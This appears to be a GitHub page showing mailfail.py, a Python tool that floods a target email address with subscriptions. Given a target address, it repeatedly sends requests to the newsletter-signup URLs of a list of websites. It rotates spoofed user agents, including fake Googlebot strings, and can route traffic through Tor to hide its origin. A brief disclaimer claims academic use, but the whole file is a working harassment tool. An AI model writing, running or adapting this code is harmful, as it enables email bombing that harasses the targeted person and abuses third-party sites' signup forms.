-
Notifications
You must be signed in to change notification settings - Fork 12
/
mailfail.py
151 lines (130 loc) · 4.66 KB
/
mailfail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
import sys
import string
import random
import argparse
import datetime
import json
import colorama
from colorama import Fore, Style
colorama.init(Style.BRIGHT)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--target", help="target email", type=str)
parser.add_argument("-o", "--timeout", help="timeout for requests", type=str)
parser.add_argument("-l", "--list", help="list path", type=str)
parser.add_argument("-T", "--tor", dest="tor", action="store_true", help="enable TOR routing")
parser.set_defaults(tor=False)
args = parser.parse_args()
logo = """\
__ __ _ _ _____ _ _
| \/ | __ _(_) | ___|_ _(_) |
| |\/| |/ _` | | | |_ / _` | | |
| | | | (_| | | | _| (_| | | |
|_| |_|\__,_|_|_|_| \__,_|_|_|
v1.1 by m0rtem
"""
disclamer = """\
This tool is only for academic purposes and testing under controlled
environments. Do not use without obtaining proper authorization from
the network owner of the network under testing. The author bears no
responsibility for any misuse of the tool.
"""
if args.list is not None:
lines = open(args.list).readlines()
else:
lines = open('list.txt').readlines()
if args.timeout is not None:
timeout = args.timeout
else:
timeout = 10
useragents = [
"Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)",
"Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)",
"Gigabot/2.0; http://www.gigablast.com/spider.html",
"Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.2.12) Gecko/20101028 Pardus/2009 Firefox/3.6.12",
"Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2194.2 Safari/537.36",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0 FirePHP/0.7.4",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"Googlebot/2.1 (http://www.googlebot.com/bot.html)",
"IRLbot/2.0 (compatible; MSIE 6.0; http://irl.cs.tamu.edu/crawler)",
"TerrawizBot/1.0 (+http://www.terrawiz.com/bot.html)",
"TheSuBot/0.2 (www.thesubot.de)",
"FAST-WebCrawler/3.8 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)",
"findlinks/2.0.1 (+http://wortschatz.uni-leipzig.de/findlinks/)",
"findlinks/1.1.6-beta6 (+http://wortschatz.uni-leipzig.de/findlinks/)",
"Mozilla/5.0 (Windows; U; WinNT; en; rv:1.0.2) Gecko/20030311 Beonex/0.8.2-stable",
"Mozilla/5.0 (Windows; U; WinNT; en; Preview) Gecko/20020603 Beonex/0.8-stable"
]
# Import Tor sockets module
import socks
import socket
# Tor wrapper for SOCKS5
if args.tor is True:
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '127.0.0.1', 9050)
socket.socket = socks.socksocket
# Import urllib after socks setup
import urllib.request
import urllib.parse
from urllib.error import HTTPError
from urllib.error import URLError
def print_out(data):
datetimestr = str(datetime.datetime.strftime(datetime.datetime.now(), '%H:%M:%S'))
print(Style.NORMAL + "[" + datetimestr + "] " + data + Style.RESET_ALL)
def tor_test():
# Get Tor IP from wtfismyip
try:
with urllib.request.urlopen('https://wtfismyip.com/text') as response:
html = response.read()
print_out(Style.BRIGHT + Fore.GREEN + "Your Tor IP is: " + html.decode('utf-8'))
except HTTPError as e:
# do something
print_out(Style.BRIGHT + Fore.RED + "Error code: " + str(e.code))
exit(1)
except URLError as e:
# do something
print_out(Style.BRIGHT + Fore.RED + "Reason: " + str(e.reason))
exit(1)
def load_url(url, timeout):
# Build URL query to email signup page
urlquery = "http://" + url + "/m-users-a-email_list-job-add-email-" + targetEmail + "-source-2.htm"
print_out(Style.BRIGHT + Fore.WHITE + "Sending request to: " + url)
# Build the request
req = urllib.request.Request(
urlquery,
data=None,
headers={
'User-Agent': random.choice(useragents),
'Host': url
}
)
# Send
try:
f = urllib.request.urlopen(req)
print_out(Style.BRIGHT + Fore.GREEN + "Successfully sent!")
f.close()
except urllib.error.URLError as e:
print_out(Style.BRIGHT + Fore.RED + e.reason)
def main(lines):
while True:
for line in lines:
line = line.strip('\n')
line = line.strip('\t')
load_url(line, timeout)
if __name__ == "__main__":
print(Fore.RED + Style.BRIGHT + logo + Fore.RESET)
print(Fore.WHITE + Style.DIM + disclamer + Fore.RESET)
if args.target is not None:
targetEmail = args.target
print_out(Style.BRIGHT + Fore.YELLOW + "Target email: " + targetEmail)
else:
print_out(Style.BRIGHT + Fore.RED + "Please supply target email...")
parser.print_help()
exit(1)
tor_test()
try:
main(lines)
except KeyboardInterrupt:
print_out(Style.BRIGHT + Fore.RED + "Shutting down...")
exit(1)